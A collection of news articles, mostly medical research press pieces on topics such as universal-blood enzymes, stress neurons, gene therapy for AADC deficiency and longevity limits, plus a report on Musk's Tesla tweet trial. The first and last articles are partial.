The Avivo team has demonstrated the process works using a set of human lungs that were deemed not viable for transplanting into a patient. "We've shown that we can remove those antigens and convert an A type lung to an O type lung quite readily," says Withers. "We're working on kidneys at the momentso that's very exciting."

This application of their technique is in pre-clinical trials now; they're hoping to move on to clinical trials (i.e., in human patients) in 2024.

"The information we learned from it (crystallography) was very supportive in knowing exactly the structure of the enzymes we're adding," says Withers. This information, he says, will be very useful if they need to modify the structure of the enzyme.

It will also be valuable when they seek regulatory approval, to be able to present the complete structure of the enzymes. "We've learned a lot more through having that information, which may be useful in the future," says Withers.

Barclay says they are still in the research phase of applying the technique to blood transfusions. The Withers lab has received a grant from the United States Air Force to develop an inline filtration system to remove the enzymes from red blood cells or from whole blood so that the technology fits within existing workflows for blood processing.

More information: Peter Rahfeld et al, An enzymatic pathway in the human gut microbiome that converts A to universal O type blood, Nature Microbiology (2019). DOI: 10.1038/s41564-019-0469-7 Journal information: Nature Microbiology
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Xin-Yun Lu, MD, PhD, (center) with Graduate Student Kirstyn Denney (left) and Postdoctoral Fellow Yuting Chen, PhD, both coauthors on the new paper. Credit: Michael Holahan, Augusta University

It's clear that chronic stress can impact our behavior, leading to problems like depression, reduced interest in things that previously brought us pleasure, even PTSD.

Now scientists have evidence that a group of neurons in a bow-shaped portion of the brain become hyperactive after chronic exposure to stress. When these POMC neurons become super active, these sort of behavioral problems result and when scientists reduce their activity, it reduces the behaviors, they report in the journal Molecular Psychiatry.

Scientists at the Medical College of Georgia at Augusta University looked in the hypothalamus, key to functions like releasing hormones and regulating hunger, thirst, mood, sex drive and sleep, at a population of neurons called the proopiomelanocortin, or POMC, neurons, in response to 10 days of chronic, unpredictable stress. Chronic unpredictable stress is widely used to study the impact of stress exposure in animal models, and in this case that included things like restraint, prolonged wet bedding in a tilted cage and social isolation.

They found the stressors increased spontaneous firing of these POMC neurons in male and female mice, says corresponding author Xin-Yun Lu, MD, Ph.D., chair of the MCG Department of Neuroscience and Regenerative Medicine and Georgia Research Alliance Eminent Scholar in Translational Neuroscience.

When they directly activated the neurons, rather than letting stress increase their firing, it also resulted in the apparent inability to feel pleasure, called anhedonia, and behavioral despair, which is essentially depression. In humans, indicators of anhedonia might include no longer interacting with good friends and a loss of libido. In mice, their usual love for sugar water wains, and male mice, who normally like to sniff the urine of females when they are in heat, lose some of their interest as well.

Conversely when the MCG scientists inhibited the neurons' firing, it reduced these types of stress-induced behavioral changes in both sexes.

The results indicate POMC neurons are "both necessary and sufficient" to increase susceptibility to stress, and their increased firing is a driver of resulting behavioral changes like depression. In fact, stress overtly decreased inhibitory inputs onto POMC neurons, Lu says.

The POMC neurons are in the arcuate nucleus, or ARC, of the hypothalamus, a bow-shaped brain region already thought to be important to how chronic stress affects behavior.

Occupying the same region is another population of neurons, called AgRP neurons, which are important for resilience to chronic stress and depression, Lu and her team reported in Molecular Psychiatry in early 2021.

In the face of chronic stress, Lu's lab reported that AgRP activation goes down as behavioral changes like anhedonia occur, and that when they stimulated those neurons the behaviors diminished. Her team also wanted to know what chronic stress does to the POMC neurons.

AgRP neurons, better known for their role in us seeking food when we are hungry, are known to have a yin-yang relationship with POMC neurons: When AgRP activation goes up, for example, POMC activation goes down.

"If you stimulate AgRP neurons it can trigger immediate, robust feeding," Lu says. Food deprivation also increases the firing of these neurons. It's also known that when excited by hunger signals, AgRP neurons send direct messages to the POMC neurons to release the brake on feeding.

Their studies found that chronic stress disrupts the yin-yang balance between these two neuronal populations. Although AgRP's projection to POMC neurons is clearly important for their firing activity, the intrinsic mechanism is probably the major mechanism underlying hyperactivity of POMC neurons by chronic stress, Lu says.

The intrinsic mechanism may include potassium channels in POMC neurons that are known to respond to a range of different signals, and when open, lead to potassium flowing out of the cell, which dampens neuronal excitation. While the potential role of these potassium channels in POMC neurons in response to stress needs study, the scientists suspect stress also affects the potassium channels and that opening those channels might be a possible targeted treatment to restrain the wildly firing POMC neurons.

Excessive activity of neurons is also known to produce seizures and there are anticonvulsants given to open potassium channels and decrease that excessive firing. There is even some early clinical evidence that these drugs might also be helpful in treating depression and anhedonia, and what the Lu lab is finding may help explain why.

Lu hasn't looked yet, but she wants to further explore the role of these channels to better understand how stress affects them in POMC neurons and how best to target the channels if their findings continue to indicate they play a key role in exciting POMC neurons.

Chronic stress affects all body systems, according to the American Psychological Association. Even muscles tense to keep our guard up against injury and pain. Stress can cause shortness of breath, particularly in those with preexisting respiratory problems like asthma. Longer term, it can increase the risk for hypertension, heart attack and stroke, even alter the good bacteria in our gut that helps us digest food.

More information: Xing Fang et al, Increased intrinsic and synaptic excitability of hypothalamic POMC neurons underlies chronic stress-induced behavioral deficits, Molecular Psychiatry (2022). DOI: 10.1038/s41380-022-01872-5 Journal information: Molecular Psychiatry
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Credit: Unsplash/CC0 Public Domain

The COVID-19 pandemic significantly disrupted routine medical checks for many.

A new study from Tulane University has found that, during the first wave of the pandemic, almost no women were receiving mammograms, and it took months for mammogram screening rates to return to normal.

Mammograms are crucial to detecting and diagnosing breast cancer. The study, published in JAMA Network Open, examined data from nearly 45,000 female Medicaid beneficiaries in Louisiana and found that screening rates among those women decreased to nearly zero in April 2020. It was not until Septemberfive months laterthat screening rates began to return to normal levels. Mammogram screening rates fully recovered by mid-2021.

"Our study may provide new evidence of the association of the pandemic with screening mammography rates, especially for a low-income population in a Southern state," said lead author Dr. Yixue Shao, a health policy and management researcher at Tulane University School of Public Health and Tropical Medicine.

"The delayed breast cancer screening at the beginning of the pandemic may be associated with later-stage diagnoses or poorer prognoses for individuals with breast cancer."

The study also examined differences in screening rates by race and ethnicity. While non-Hispanic Black and Hispanic women saw the greatest increases in mammograms after the initial pandemic-induced decline, the study found "no significant differences in rate increases by race or ethnicity."

Still, Shao said more work should be done to examine the effect of delayed screenings on those with breast cancer or those who had yet to be diagnosed.

More information: Yixue Shao et al, Comparison of Screening Mammogram Rates Before vs During the COVID-19 Pandemic Among Medicaid Beneficiaries in Louisiana, JAMA Network Open (2023). DOI: 10.1001/jamanetworkopen.2022.51687 Journal information: JAMA Network Open
Photo: The Canadian Press

Elon Musk returned to federal court Monday in San Francisco, testifying that he believed he had locked up financial backing to take Tesla private during 2018 meetings with representatives from Saudi Arabias Public Investment Fund  although no specific funding amount or price was discussed.

The billionaire Tesla CEO and Twitter owner is facing a class action lawsuit filed by Tesla investors alleging he misled them with a tweet saying funding was secured to take his electric car company private  for $420 per share.

But the deal never came close to happening, and the tweet resulted in a $40 million settlement with securities regulators.

The trial hinges on the question of whether a pair of tweets that Musk posted on Aug. 7, 2018, damaged Tesla shareholders during a 10-day period leading up to Musk's admission that the buyout he had envisioned wasnt going to happen.

Speaking in a soft halting tone, Musk said Monday he had trouble sleeping last night and unfortunately I am not at my best. He added that it was important for jurors to know that he felt that funding was secured due to his ownership of SpaceX stock alone."

Just as I sold stock in Tesla to buy Twitter. ... I didn't want to sell Tesla stock but I did sell Tesla stock, he said of the sale to make up for the lack of funding from other sources for his $44 billion deal to take Twitter private. Musk sold nearly $23 billion worth of his car companys shares between last April when he started building a position in Twitter, and December.

My SpaceX shares alone would have meant that funding was secured, Musk said of the 2018 tweets.

Even before Musk first took the stand on Friday, U.S. District Judge Edward Chen had declared that jurors can consider those two tweets to be false, leaving them to decide whether Musk deliberately deceived investors and whether his statements saddled them with losses.

Musk has previously contended he entered into the Securities and Exchange Commission settlement under duress and maintained he believed he had locked up financial backing for a Tesla buyout during meetings with representatives from Saudi Arabias Public Investment Fund.

In the first of the 2018 tweets, Musk stated funding secured for what would have been a $72 billion  or $420 per share  buyout of Tesla at a time when the electric automaker was still grappling with production problems and was worth far less than it is now. Musk followed up a few hours later with another tweet suggesting a deal was imminent.

Nicholas Porritt, a lawyer representing Tesla shareholders, asked Musk if he went with 420 because it was a joke your girlfriend enjoys. Musk replied he thinks there is some karma around the number 420  which is also a slang reference to marijuana  although he added he doesn't know if it's good karma or bad karma at this point.

He then said the number was a "coincidence" and it represented a 20% premium of Tesla's share price at the time.

After it became apparent that the money wasnt in place to take Tesla private, Musk stepped down as Teslas chairman while remaining CEO as part of the SEC settlement, without acknowledging wrongdoing.

On Friday, Musk had testified he thinks it is possible to be absolutely truthful on Twitter. "But can you be comprehensive? Of course not.

Shares of Tesla climbed $8.76. or 6.6%, to $142.18 on Monday as Musk's testimony was underway.
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Endometriosis has a causal link to ischemic stroke, according to a research letter published in the February issue of Stroke, a theme issue focused on the topic of cerebrovascular diseases and women, in conjunction with the American Heart Association Go Red for Women initiative.

Ming Zheng, M.D., Ph.D., from the Academy of Military Medical Sciences in Beijing and Shaoping Zheng, from the Beijing Institute of Basic Medical Sciences, examined genetically determined endometriosis in a stroke cohort with 521,612 participants. Genetic instruments of single nucleotide polymorphisms for endometriosis were selected from an endometriosis cohort of 77,257 participants. A total of 46 single nucleotide polymorphisms were selected with an average F statistic of 38.7. The risk for stroke was examined following endometriosis using Mendelian randomization (MR) analysis.

The researchers found that endometriosis was significantly associated with increased risks for ischemic stroke, including total and cardioembolic ischemic stroke. Risks for ischemic stroke were significantly increased for endometriosis subtypes of the ovary, pelvic peritoneum, rectovaginal septum, and vagina and occurring infertility. Causality was most significant for infertility-related endometriosis and cardioembolic ischemic stroke. This causal effect was significant across different MR tests.

"We strongly suggest a shift in the perception of endometriosis from a purely gynecological disease to a complex systemic disease involving increased stroke risk," the authors write.

More information: Ming Zheng et al, Endometriosis Increases the Risk of Stroke: A Mendelian Randomization Study, Stroke (2023). DOI: 10.1161/STROKEAHA.122.041163 Journal information: Stroke

Copyright  2023 HealthDay. All rights reserved.
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Flow diagram of the study. Credit: Journal of Thrombosis and Haemostasis (2023). DOI: 10.1016/j.jtha.2022.09.007

The Pulmonary Embolism Dyspnea Italian Study (PEDIS), just published in the Journal of Thrombosis and Haemostasis, has demonstrated for the first time that the recent onset of severe respiratory fatigue due to minor efforts, especially in young subjects, can be a symptom revealing a pulmonary embolism in 1 out of 3 cases.

The study, which involved over 400 patients under the age of 75 from 14 Italian hospitals, documented how 32% of the subjects who went to the emergency room due to onset, in the previous month, of severe respiratory difficulty (dyspnea) arousing after minimal and previously well tolerated physical exertion (such as walking 100 meters on level ground) had an underlying pulmonary embolism.

This percentage reached about 47.3% of patients who also presented with other signs or symptoms suggestive of pulmonary embolism (such as tachycardia, chest pain or syncope) but remained not negligible (20%) in those who turned to the emergency department for the onset of isolated exertional dyspnea.

"Faced with the presence of this symptom, the physician generally thinks of heart failure, ischemic heart disease, bronchial asthma, pneumonia or other pulmonary diseases, aortic stenosis, thyrotoxicosis, anemic states, even psychic alterations," explained Professor Paolo Prandoni, first author of the research, "but the results of this study clearly indicate that we must evaluate any patient who arrives in the emergency room for severe exertional dyspnea, especially if young, for pulmonary embolism (primarily through clinical probability and d-dimer) even if the symptom has arisen for several days and we are in the presence of alternative diagnoses that could justify it."

More information: Paolo Prandoni et al, Prevalence of pulmonary embolism among patients with recent onset of dyspnea on exertion. A cross-sectional study, Journal of Thrombosis and Haemostasis (2023). DOI: 10.1016/j.jtha.2022.09.007

Provided by Fondazione Arianna Anticoagulazione
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Credit: Colorado State University

Fracturing one's tibia, or shin bone, is a common orthopedic injury. It's a severely disruptive injury for anyone, but it's especially traumatic for the unlucky few whose fractures don't heal the way they're supposed to.

People who fracture their tibia usually get hardware surgically implanted to hold the bone in place. After about six months, 10% of patients are diagnosed with what's called a non-union fracture, or a failure to heal; they require additional surgery to implant new hardware, and the waiting, pain and discomfortnot to mention the financial burden of another surgerystarts anew.

The standard method to diagnose a non-union fracture is through X-ray, but X-rays cannot capture the subtle mechanical details of how well bone tissue is mineralizing and stiffening soon after the injury. What if there was a way this stiffening could be detected much earlier than six months post-injury, so doctors could intervene faster?

Nearly two decades ago, Colorado State University biomedical researcher Christian Puttlitz, then early in his career as an assistant professor at the University of California San Francisco, first put his mind to this question, wondering whether innovations in engineering and biomechanics could provide insight into the healing potential of bone. From that inspiration sparked a series of experiments that led to a present partnership with UC Health doctors and patients, who are currently helping test a fracture-detection device Puttlitz and his lab have been working on for the last several years.

"Trying to figure out what's going on at a fracture site has been described to me by many people as the holy grail for orthopedics," said Puttlitz, who heads the Department of Mechanical Engineering at CSU, teaches in the School of Biomedical Engineering, and runs the Orthopedic Bioengineering Research Laboratory. "If you could figure this out, it would make a huge impact on the practice of fracture management."

Over the last year, Puttlitz and CSU research scientist Kevin Labus have been partnering with UC Health on a study to gather data on patients with tibia fractures. With the help of UC Health trauma surgeons, the researchers are testing their device with 16 volunteer patients, who are using the device once a day in their homes and providing data to the research team.

The device consists of an enclosure that applies gentle, non-painful pressure on the patient's fracture site. An external radio antenna sensor measures deflection under loading, and the sensor is calibrated to measure bending stiffness of the fracture callus. Down to 10-micron precisionwith much more accuracy and detail than an X-raythe device lets the researchers assign a value to how well the bone is stiffeningan indication of normal healingstarting about six weeks after the initial injury. That's much sooner than the six-month mark patients usually have to wait to find out whether their fracture is mending properly.

A schematic that shows how the fracture detection devices current design works on a patient. Credit: Colorado State University

Switching from chip to antenna

The device is the result of many years of iteration, stops and starts. When Puttlitz first envisioned the device, it was built around a chip that, when implanted on top of the patient's fixation hardware, would read out the bending stiffness of the injury site through electromagnetic resonance. This design went through several rounds of inquiry, including animal studies and production of data that proved out the concept, but the chip introduced challenges from environmental interference. Also, an implantable chip is invasive and would require rigorous FDA approvals for an eventual clinical trial.

When Labus joined the project in 2016, the chip idea was replaced by the external antenna that would electromagnetically couple directly to the patient's rod or plate hardware. Led by Labus, the group began collecting data showing the antenna-based design worked as well or better than the chip, with more accurate readouts. The new, external antenna method also allowed the team to start testing fracture patients without regulatory hurdles, since it did not require invasive procedures.

They also teamed with electrical engineering Professor Branislav Notaros, whose group performed computational simulations to validate Labus' data and also designed a smaller, flatter antenna that allowed the team to create an array of sensors for much more precise measurement.

Future directions

Labus' current UC Health study is testing the feasibility of the device as a healing indicator; no data is being shared with patients or doctors. The eventual goal is to provide such information to doctors so they can identify and correct non-union fractures earlier than six months post-injury.

There's lots more work to be done. The next step will be a larger observational study followed by a clinical trial, using the bending stiffness data to identify patients at risk of non-union diagnosis and to guide early interventions for improving healing. Years of hard work have led the team to this moment, and they're actively seeking additional partnerships to continue proving out their device.

"This combination of applying engineering to solving medical problems is what excites me the most," Labus said.
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Rylae-Ann Poulin smiles as she learns to ride a horse in Bangkok, Thailand, Saturday, Jan. 14, 2023. Rylae-Ann was among the first to benefit from a new way of delivering gene therapy -- directly into the brain -- that experts believe holds great promise for treating a host of brain disorders. Credit: AP Photo/Sakchai Lalit

When Rylae-Ann Poulin was a year old, she didn't crawl or babble like other kids her age. A rare genetic disorder kept her from even lifting her head. Her parents took turns holding her upright at night just so she could breathe comfortably and sleep.

Then, months later. doctors delivered gene therapy directly to her brain.

Now the 4-year-old is walking, running, swimming, reading and riding horses"just doing so many amazing things that doctors once said were impossible," said her mother, Judy Wei.

Rylae-Ann, who lives with her family in Bangkok, was among the first to benefit from a new way of delivering gene therapyattacking diseases inside the brainthat experts believe holds great promise for treating a host of brain disorders.

Her treatment recently became the first brain-delivered gene therapy after its approval in Europe and the United Kingdom for AADC deficiency, a disorder that interferes with the way cells in the nervous system communicate. New Jersey drugmaker PTC Therapeutics plans to seek U.S. approval this year.

Meanwhile, about 30 U.S. studies testing gene therapy to the brain for various disorders are ongoing, according to the National Institutes of Health. One, led by Dr. Krystof Bankiewicz at Ohio State University, also targets AADC deficiency. Others test treatments for disorders such as Alzheimer's, Parkinson's and Huntington's.

This photo provided by Judy Wei shows her daughter, Rylae-Ann Poulin, the first time she was admitted to an ICU, at a Singapore hospital in September 2018. When Rylae-Ann Poulin was a year old, she didnt crawl or babble like other kids her age. A rare genetic disorder kept her from even lifting her head. Her parents took turns holding her upright at night just so she could breathe comfortably and sleep. Credit: Judy Wei via AP

Challenges remain, especially with diseases caused by more than a single gene. But scientists say the evidence supporting this approach is mountingopening a new frontier in the fight against disorders afflicting our most complex and mysterious organ.

"There's a lot of exciting times ahead of us," said Bankiewicz, a neurosurgeon. "We're seeing some breakthroughs."

___

The most dramatic of those breakthroughs involve Rylae-Ann's disease, which is caused by mutations in a gene needed for an enzyme that helps make neurotransmitters like dopamine and serotonin, the body's chemical messengers. The one-time treatment delivers a working version of the gene.

At around 3 months old, Rylae-Ann began having spells her parents thought were seizuresher eyes would roll back and her muscles would tense. Fluid sometimes got into her lungs after feedings, sending her to the emergency room. Doctors thought she might have epilepsy or cerebral palsy.

Rylae-Ann Poulin attends physical education class at Ruamrudee International School in Bangkok, Thailand, Friday, Jan. 13, 2023. Rylae-Anns disease was caused by mutations in a gene needed for an enzyme that helps make neurotransmitters like dopamine and serotonin, the bodys chemical messengers. A one-time treatment delivered a working version of the gene. Credit: AP Photo/Sakchai Lalit

Around that time, Wei's brother sent her a Facebook post about a child in Taiwan with AADC deficiency. The extremely rare disorder afflicts about 135 children worldwide, many in that country. Wei, who was born in Taiwan, and her husband, Richard Poulin III, sought out a doctor there who correctly diagnosed Rylae-Ann. They learned she could qualify for a gene therapy clinical trial in Taiwan.

Though they were nervous about the prospect of brain surgery, they realized she likely wouldn't live past 4 years old without it.

Rylae-Ann had the treatment at 18 months old on November 13, 2019which her parents have dubbed her "reborn day." Doctors delivered it during minimally invasive surgery, with a thin tube through a hole in the skull. A harmless virus carried in a functioning version of the gene.

"It gets put into the brain cells and then the brain cells make the (neurotransmitter) dopamine," said Stuart Peltz, CEO of PTC Therapeutics.

Richard Poulin, left and Judy Wei, right, work with their daughter, Rylae-Ann Poulin, during a physical and cognitive therapy session at their home in Bangkok, Thailand, Saturday, Jan. 14, 2023. The family hopes other families dealing with devastating genetic diseases like Rylae-Ann's will someday get to see the transformations theyve seen. Credit: AP Photo/Sakchai Lalit

Company officials said all patients in their clinical trials showed motor and cognitive improvements. Some of them, Peltz said, could eventually stand and walk, and continue getting better over time.

Bankiewicz said all 40 or so patients in his team's NIH-funded study also saw significant improvements. His surgical approach is more involved and delivers the treatment to a different part of the brain. It targets relevant circuits in the brain, Bankiewicz said, like planting seeds that cause ivy to sprout and spread.

"It's really amazing work," said Jill Morris, a program director with the National Institute of Neurological Disorders and Stroke, which helped pay for the research. "And he has seen a lot of consistency between patients."

One is 8-year-old Rian Rodriguez-Pena, who lives with her family near Toronto. Rian got gene therapy in 2019, shortly before her 5th birthday. Two months later, she held her head up for the first time. She soon started using her hands and reaching for hugs. Seven months after surgery, she sat up on her own.

Rylae-Ann Poulin attends physical education class at Ruamrudee International School in Bangkok, Thailand, Friday, Jan. 13, 2023. Rylae-Ann was among the first to benefit from a new way of delivering gene therapy -- directly into the brain -- that experts believe holds great promise for treating a host of brain disorders. Credit: AP Photo/Sakchai Lalit

"When the world was crumbling around us with COVID, we were at our house celebrating like it was the biggest party of our lives because Rian was just crushing so many milestones that were impossible for so long," said her mom, Shillann Rodriguez-Pena. "It's a completely different life now."

___

Scientists say there are challenges to overcome before this approach becomes widespread for more common brain diseases.

For example, the timing of treatment is an issue. Generally, earlier in life is better because diseases can cause a cascade of problems over the years. Also, disorders with more complex causeslike Alzheimer'sare tougher to treat with gene therapy.

"When you're correcting one gene, you know exactly where the target is," said Morris.

Ryan Gilbert, a biomedical engineer at New York's Rensselaer Polytechnic Institute, said there can also be issues with the gene-carrying virus, which can potentially insert genetic information in an indiscriminate way. Gilbert and other researchers are working on other delivery methods, such as messenger RNAthe technology used in many COVID-19 vaccinesto deliver a genetic payload to the nucleus of cells.

Rylae-Ann Poulin learns to ride a horse in Bangkok, Thailand, Saturday, Jan. 14, 2023.Credit: AP Photo/Sakchai Lalit

Scientists are also exploring ways to deliver gene therapy to the brain without the dangers of brain surgery. But that requires getting around the blood-brain barrier, an inherent roadblock designed to keep viruses and other germs that may be circulating in the bloodstream out of the brain.

A more practical hurdle is cost. The price of gene therapies, borne mostly by insurers and governments, can run into the millions. The one-time PTC therapy, called Upstaza, costs more than $3 million in Europe, for example.

But drugmakers say they are committed to ensuring people get the treatments they need. And researchers are confident they can overcome the remaining scientific obstacles to this approach.

"So I would say gene therapy can be leveraged for many sorts of brain diseases and disorders," Gilbert said. "In the future, you're going to see more technology doing these kinds of things."

Richard Poulin, right, watches his daughter, Rylae-Ann Poulin, climb a rope ladder at a playground in Bangkok, Thailand, Saturday, Jan. 14, 2023. Credit: AP Photo/Sakchai Lalit

Richard Poulin, works with his daughter, Rylae-Ann Poulin during a physical and cognitive therapy session at their home in Bangkok, Thailand, Saturday, Jan. 14, 2023. Credit: AP Photo/Sakchai Lalit

Rylae-Ann Poulin walks to physical education class at Ruamrudee International School in Bangkok, Thailand, Friday, Jan. 13, 2023. Credit: AP Photo/Sakchai Lalit

The families of Rylae-Ann and Rian said they hope other families dealing with devastating genetic diseases will someday get to see the transformations they've seen. Both girls are continuing to improve. Rian is playing, eating all sorts of foods, learning to walk and working on language. Rylae-Ann is in preschool, has started a ballet class, and is reading at a kindergarten level.

When her dad picks her up, "she runs to me ... just gives me a hug and says, 'I love you, Daddy.' he said. "It's like it's a normal day, and that's all we ever wanted as parents."

 2023 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.
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Credit: Unsplash/CC0 Public Domain

Health care integration has long been touted as a panacea for reining in health care costs and boosting quality of care.

But integrated health systems appear to be failing on both fronts, according to the results of a new nationwide study led by researchers at Harvard and the National Bureau of Economic Research (NBER).

Instead, the analysis finds marginally better care at significantly higher costs for patients seen in health systems, compared to those at independent practices or hospitals.

The results of the study are published Jan. 24 in JAMA.

In recent decades, health systems in the United States have grown exponentially in size and market share through mergers and acquisitions of physician practices and hospitals and the joining of separate health systems.

During those years, proponents of consolidation have argued that physicians and hospitals working together in integrated, coordinated systems would not only provide better care for patients, but would do so more efficiently than independent physician practices and hospitals, driving quality of care up while holding spending steady and even driving costs down.

"One of the key arguments for hospital mergers and practice acquisition was that health systems would deliver better-value care for patients. This study provides the most comprehensive evidence yet that this isn't happening," said study first author Nancy Beaulieu, a research associate in the Department of Health Care Policy in the Blavatnik Institute at Harvard Medical School.

Today, these systems are responsible for a large proportion of the medical care delivered in the United States. Some of them employ thousands of physicians, while others are much smaller and rooted in local communities. But questions about just how much care is delivered by such systems, or how good that care is compared with care delivered outside of systems, have lingered unanswered.

Despite their impact on population health and the economy, little is known about the actual performance of integrated health organizations, the study authors noted.

Research in this area has been hindered by the lack of detailed data that allow a meaningful examination of performance or even measuring the scale and scope of care delivery within health systems. The current analysis is believed to be the first comprehensive national study to compare outcomes between patients receiving care within health systems and outside of them, including patients with private insurance as well as traditional Medicare.

The analysis included a total of 580 health systems that accounted for 40 percent of physicians and 84 percent of general acute care hospital beds. Academic and large nonprofit systems accounted for a majority of system physicians (80 percent) and system hospital beds (64 percent).

System hospitals were larger than hospitals that were not part of a system, with 67 percent of system hospitals having more than 100 beds, while only 23 percent of nonsystem hospitals having more than 100 beds. System physician practices likewise were more likely to have more than 100 physicians compared with nonsystem practices (74 percent vs. 12 percent). Integrated systems delivered primary care to 41 percent of traditional Medicare beneficiaries; which does not include people enrolled in Medicare Advantage programs.

Next, the researchers analyzed the quality and cost of care delivered within systems. Their findings suggest that patients whose primary care physicians are part of health systems, on average, receive marginally better care and report slightly better experiences with the health care delivery system, compared with patients whose primary care physicians are part of independent practices.

This is the case even though many patients with non-system primary care providers also receive some of their care in hospitals or specialist practices that are part of a health system. However, care in systems came at a much higher price, contributing to higher overall spending on health care, the research showed.

Prices for services from physicians and hospitals within health systems were significantly higher than the prices of services from independent physicians and hospitals, the study found. Physician services delivered within health systems cost between 12 percent and 26 percent more, compared with independent practices. System-based hospital services cost 31 percent more, on average, compared with care delivered by independent hospitals.

Small differences in quality combined with large differences in cost of care suggests that health systems have not, on average, realized their potential for better care at equal or lower cost, the researchers said.

Members of the research team have compiled a database from various sources to help characterize these health systems and to link claims data with information on health care providers in and out of health systems. The database, housed at NEBR, will be made available for free to other researchers in the near future.

More information on the health systems and provider database and research conducted as part of the health systems project can be found at NBER Health Systems Project.

The researchers noted that the new database provides a crucial foundation for future research that could help identify areas where integrated health systems may be outperforming independent practices and hospitals or guide efforts for health systems still hoping to achieve the potential benefits of consolidation, while avoiding increased costs.

"There's no question that large, sophisticated health systems have benefits over independent systems," said study author David Cutler, the Otto Eckstein Professor of Applied Economics at Harvard. "Big systems tend to be less vulnerable to economic downturns and they can provide specialized care that would be difficult to maintain in smaller systems. But the hoped-for cost savings benefits of integrated health systems have not yet materialized."
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Credit: Pixabay/CC0 Public Domain

The death of the world's oldest person at the age of 118 has reignited a debate that has divided scientists for centuries: is there a limit on how long a healthy human can live?

After French nun Lucile Randon died last week, Spanish great-grandmother Maria Branyas Morera, 115, has assumed the title of the oldest living person, according to Guinness World Records.

Back in the 18th century, French naturalist Georges-Louis Leclerc, known as the Comte de Buffon, theorized that a person who had not suffered an accident or illness could live for a theoretical maximum of 100 years.

Since then, medical advancements and improving living conditions have pushed the limit back by a couple of decades.

A new milestone was reached when Frenchwoman Jeanne Calment celebrated her 120th birthday in 1995.

Calment died two years later at the age of 122. She remains the oldest person ever to have livedthat has been verified, at least.

According to the United Nations, there were an estimated 593,000 people aged 100 years or older in 2021, up from 353,000 a decade earlier.

The number of centenarians is expected to more than double over the next decade, according to the Statista data agency.

The Comte de Buffon might also have been surprised by the rise of supercentenarianspeople aged 110 or overwhose numbers have been increasing since the 1980s.

Natural limit at 115?

So how far could we go? Scientists disagree, with some maintaining that the lifespan of our species is limited by strict biological constraints.

In 2016, geneticists writing in the journal Nature said there had been no improvement in human longevity since the late 1990s.

Analyzing global demographic data, they found that the maximum human lifespan had declined since Calment's deatheven though there were more elderly people in the world.

"They concluded that human lifespan has a natural limit and that longevity is limited to around 115 years," French demographer Jean-Marie Robine told AFP.

"But this hypothesis is partly disputed by many demographers," said Robine, a specialist in centenarians at the INSERM medical research institute.

Research in 2018 found that while the rate of death increases with age, it slows down after 85.

Around the age of 107, the rate of death peaks at 50-60 percent every year, the research said.

"Under this theory, if there are 12 people aged 110, six will survive to be 111, three to be 112, and so on," Robine said.

A numbers game

But the more supercentenarians, the higher chance a few have to live to make it to record ages.

If there are 100 supercentenarians, "50 will live to be 111 years old, 25 to 112," Robine said.

"Thanks to a 'volume effect', there are no longer fixed limits to longevity."

However Robine and his team are publishing research this year which will show that the rate of death continues to increase beyond the age of 105, further narrowing the window.

Does this mean there is a hard ceiling on how long we can live? Robine will not go that far.

"We will continue to make discoveries, as we always have, and little by little the health of the oldest people will improve," he said.

Other experts are also cautious about choosing a side.

"There is no definitive answer for the moment," said France Mesle, a demographer at the French institute of demographic studies (INED).

"Even if they are increasing, the number of people reaching very old age is still quite small and we still cannot make any significant statistical estimate," she told AFP.

So it might be a matter of waiting for rising numbers of supercentenarians to test the "volume effect".

And of course some future medical breakthroughs could soon upend everything we know about death.

Eric Boulanger, a French doctor specializing in the elderly, said that "genetic manipulation" could allow some people to live for 140 or even 150 years.

 2023 AFP
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State legislators introduced 1531 bills addressing public health authority during the 2021 and 2022 legislative sessions. Credit: Center for Public Health Law Research at Temple University

In the legislative sessions spanning January 1, 2021, through May 20, 2022, U.S. state legislators introduced 1,531 bills to change the scope and allocation of emergency health authority, according to new data released today by the Center for Public Health Law Research at Temple University's Beasley School of Law.

Of those 1,531 bills, 191 (about 12.5%) were enacted into law in 43 states and the District of Columbia, including seven via veto override.

"These data provide a powerful, initial look at the authority state and local officials will haveand the political headwinds they will faceas they manage major threats to public health in the future," said Elizabeth Platt, Director of Research and Operations at the Center and lead researcher on this project.

The data were created in collaboration with the Association of State and Territorial Health Officials and the Network for Public Health Law, using scientific legal mapping techniques pioneered by the Center.

The datasets capture details of legislation that addresses emergency health authority introduced between January 1, 2021, and May 20, 2022, in all 50 US states and the District of Columbia. These are bills that may strengthen authority, limit authority, or change the nature of who has authority to act during a public health emergency.

The data show that the most common type of bill enacted (163 of the total 191 bills enacted) were those that regulated the use of specific disease control measures, including vaccination requirements and mask mandates.

Sixty-five laws were enacted in 25 states limiting emergency authority, while 17 laws were enacted in 12 states to strengthen public health.

The data also show:

The most common type of bill introduced (1,197 bills) were those regulating specific disease control measures, including mask mandates, vaccination requirements, and school or business closures. The most commonly regulated type of measure was vaccine measures.

Bills limiting public health authority were the second most common type of bill (539), with bills most often restricting the scope of emergency orders by governors, state health officials, and/or local health officials.

State bills attempting to limit enforcement of federal laws regarding public health emergencies were the least common type of bill with only 27 bills introduced, five of which were enacted.

There were 177 bills introduced to preempt localities from taking a public health emergency measure. Thirty of those bills (in 12 states) were enacted.

The datasets are published to the Center's website, LawAtlas.org, where they may be explored using interactive maps and tables or downloaded as .csv files.

The researchers will join a webinar on Thursday, January 26 at 1 p.m. to discuss the data and examples from select states. More detailed analysis will be published in the American Journal of Public Health later in the spring 2023. Sign up for the Act for Public Health mailing list to be notified when the analysis is available.

The data are among the resources being developed by the Center and others as part of the Act for Public Health initiative, which provides direct support to public health departments and others through consultation, training, legal technical assistance, research, and resources to address legislation that weakens their ability to protect the communities they serve. Act for Public Health is a partnership that includes ChangeLab Solutions, the Public Health Law Center, the Network for Public Health Law, and Public Health Law Watch.

More information: Center for Public Health Law Research at Temple University's Beasley School of Law (2023, January 24). State Legislation Addressing Public Health Emergency Authority. phlr.org/product/state-legisla  -emergency-authority Journal information: American Journal of Public Health
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Credit: Pixabay/CC0 Public Domain

Chronic pancreatitis, a painful, debilitating condition, often requires major surgery to remove all or part of the pancreas. Few large studies have evaluated how these patients fare five years or more after their operations. The largest study to date of patients who have had surgery for chronic pancreatitis with follow-up of six years or longer has found that about two-thirds survive after 10 years. However, more than one-fourth of these patients were still using opioids daily for pain.

The study, presented at the Southern Surgical Association 134th annual meeting in December in Palm Beach, Florida, has been published online as an "article in press" in the Journal of the American College of Surgeons (JACS).

